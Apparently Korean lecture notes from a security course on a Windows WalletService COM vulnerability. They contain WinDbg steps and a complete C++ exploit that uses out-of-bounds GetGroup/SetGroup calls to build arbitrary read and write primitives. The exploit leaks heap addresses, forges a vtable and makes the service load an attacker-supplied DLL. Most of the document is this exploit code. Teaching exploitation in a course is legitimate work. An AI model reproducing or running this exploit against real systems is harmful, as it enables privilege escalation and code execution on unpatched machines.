# 정보분석 심화과정 - ComBasic(https://shorturl.at/wjLtt - 강의 교재(https://drive.google.com/file/d/1MiAVA-rGWkjd2x9bir155kM76CXgUaGl/view?usp=sharing) ## Out of Bound ```clike= int arr[10] = {}; arr[20] = 4; // buffer address + sizeof(int) * 7 = 4 ``` 1. 00.POC 내용 빌드 2. x64\poc.exe 실행 후 대기 3. 관리자 권한 cmd에서 windbg -psn WalletService ``` 0:004> x WalletService!*CreateWalletItem* 00007ffe`e81ae926 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$6 (void) 00007ffe`e81ae938 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$7 (void) 00007ffe`e81ae7cc walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$4 (void) 00007ffe`e81ae914 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$5 (void) 00007ffe`e81ae816 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$2 (void) 00007ffe`e81ae902 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$3 (void) 00007ffe`e81ae8de walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$0 (void) 00007ffe`e81ae8f0 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$1 (void) 00007ffe`e8197504 walletservice!Wallet::WalletPackageProcessor::FindOrCreateWalletItem (public: static long __cdecl Wallet::WalletPackageProcessor::FindOrCreateWalletItem(class ATL::CComPtr<struct IXmlReader>,int,int &,int &,class ATL::CComPtr<struct IWalletItem> &)) 00007ffe`e81925c0 walletservice!Wallet::WalletX::CreateWalletItem (publ ``` ``` bp 00007ffe`e81925c0 g ``` poc.exe 에 가서 엔터를 입력하여 나머지 코드가 실행되도록 함 x64 윈도우 Calling Convention rcx rdx r8 r9 rsp(stack) SetGroup 메소드가 잘 호출되는지, 호출됐을 때 인자도 잘 들어갔는지 보고싶다 - `x WalletService!*SetGroup*` 실행하여 SetGroup 메소드의 주소 획득 - `bp [위에서 구한 주소]` 실행하여 브레이크 포인트 생성 - 클라이언트 프로그램에서 setgroup이 호출되면, walletservice의 breakpoint가 hit - r 입력 시 레지스터 정보 확인 가능, windows의 Calling Convention을 참고하여 입력 인자 확인 ## Leak ```clike= uint32_t high; uint32_t low; obj2->GetGroup(-4, &high, &low); uint64_t addr = low; addr += (uint64_t)high << 32; addr -= 0x60; printf("%llx\n", addr); ``` ## ```clike= #include "pch.h" class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown { public: virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2); virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2); }; class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t* p0); virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2); virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1); virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1); virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0); virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1); virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3); virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3); virtual HRESULT __stdcall Proc15(VARIANT* p0); virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1); virtual HRESULT __stdcall Proc17(int64_t* p0); virtual HRESULT __stdcall Proc18(); virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0); virtual HRESULT __stdcall Proc20(IWalletItem* p0); virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall Proc22(int64_t* p0); }; class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown { public: virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0); virtual HRESULT __stdcall GetItemCount(ULONG* p0); virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1); virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc10(IWalletItemList* p0); }; class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); }; class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown { public: virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1); virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc5(int64_t* p0); virtual HRESULT __stdcall Proc6(int64_t p0); virtual HRESULT __stdcall Proc7(int64_t p0); virtual HRESULT __stdcall Proc8(); virtual HRESULT __stdcall Proc9(int64_t* p0); virtual HRESULT __stdcall Proc10(); virtual HRESULT __stdcall Proc11(); }; class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown { public: virtual HRESULT __stdcall Proc3(IWalletItemList** p0); virtual HRESULT __stdcall Proc4(IWalletItemList** p0); virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc6(); virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0); virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0); virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1); virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1); virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1); virtual HRESULT __stdcall Proc14(IWalletItem* p0); virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1); virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1); virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1); virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1); virtual HRESULT __stdcall Proc19(wchar_t* p0); }; IWalletX* obj; IWalletItem* obj1; IWalletCustomProperty* obj2, * obj3; ULONG64 heap; int PrintError(unsigned int line, HRESULT hr) { wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr); return hr; } void write(size_t addr, void* buf, UINT size = 8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, nouse; if (num2 == -1 || num1 == 0x20) { puts("error addr, try again"); exit(-1); } obj2->GetGroup(-9, &backup, &nouse); obj2->SetGroup(-9, backup, num1); obj2->GetGroup(-8, &nouse, &backup); obj2->SetGroup(-8, num2, backup); addr = -1; num1 = addr & 0xffffffff; num2 = addr >> 32; obj2->GetGroup(-7, &backup, &nouse); obj2->SetGroup(-7, backup, num1); obj2->GetGroup(-6, &nouse, &backup); obj2->SetGroup(-6, num2, backup); tagPROPVARIANT input; input.vt = 8; input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size); obj2->SetLabel(&input); } char* read(size_t addr, size_t size = 8) { uint32_t num1 = addr & 0xffffffff, num2 = addr >> 32, backup, backup1, nouse; char* buf = new char[size + 1]{ 0 }, * p = buf; obj2->GetGroup(-9, &backup, &nouse); obj2->GetGroup(-8, &nouse, &backup1); for (size_t i = 0; i < size; i++) { obj2->SetGroup(-9, backup, num1++); obj2->SetGroup(-8, num2, backup1); tagPROPVARIANT input; input.vt = 8; input.bstrVal = 0; obj2->GetLabel(&input); *p++ = *(char*)input.bstrVal; } return buf; } DWORD poc(LPVOID dllpath) { CoInitializeEx(NULL, COINIT_MULTITHREADED); HRESULT hr; CLSID clsid; IID iid; CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid); IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid); hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj->CreateWalletItem(1, &obj1); if (FAILED(hr)) { PrintError(__LINE__, hr); } hr = obj1->CreateCustomProperty(&obj2); if (FAILED(hr)) { PrintError(__LINE__, hr); } for (int i = 0; i < 10; i++) hr = obj1->CreateCustomProperty(&obj3); uint32_t out1, out2; heap = 0; hr = obj2->GetGroup(-13, &out1, &out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap = out2; hr = obj2->GetGroup(-12, &out1, &out2); if (FAILED(hr)) { PrintError(__LINE__, hr); } heap += (ULONG64)out1 << 32; printf("heap @ 0x%llx\n", heap); // heap printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20); //----------------------------------------------- size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll"); size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll"); size_t dxgi_environ = 0xC5E68 + dxgi; size_t dxgi_environ_length = 0xC5E80 + dxgi; printf("dxgi_environ @ %llx\n", dxgi_environ); printf("dxgi_environ_length @ %llx\n", dxgi_environ_length); size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500; size_t myenviron = 0x66F38 + walletservice - 0x500; printf("FakeVTBuf @ %llx\n", FakeVTBuf); printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00); printf("myenviron @ %llx\n", myenviron); write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1); size_t fakevtable_start = FakeVTBuf; size_t fakevtable[] = { 0x4141414141, 0x4141414142, 0x4141414143, dxgi + 0x011D00 }; size_t tmp; for (auto i : fakevtable) { tmp = i; write(fakevtable_start, &tmp, 8); fakevtable_start += 8; } tmp = NeedFlagBuf - 0x174; write(heap + 0x60, &tmp, 8); tmp = 1; write(NeedFlagBuf, &tmp, 8); tmp = myenviron; write(dxgi_environ, &tmp, 8); tmp = 0x530; write(dxgi_environ_length, &tmp, 4); write(dxgi_environ_length + 0xc, &tmp, 8); write(heap - 0x20, &FakeVTBuf, 8); // this's vtable is currupted uint32_t ac = 1; tagPROPVARIANT t = { }; hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor if (FAILED(hr)) { PrintError(__LINE__, hr); } puts("Done!"); while (1) {} // hang return 0; } int wmain(int argc, wchar_t** argv) { if (argc != 2) { printf("usage: %ws .dll(Absolute_path)\n", argv[0]); exit(0); } poc(argv[1]); } ```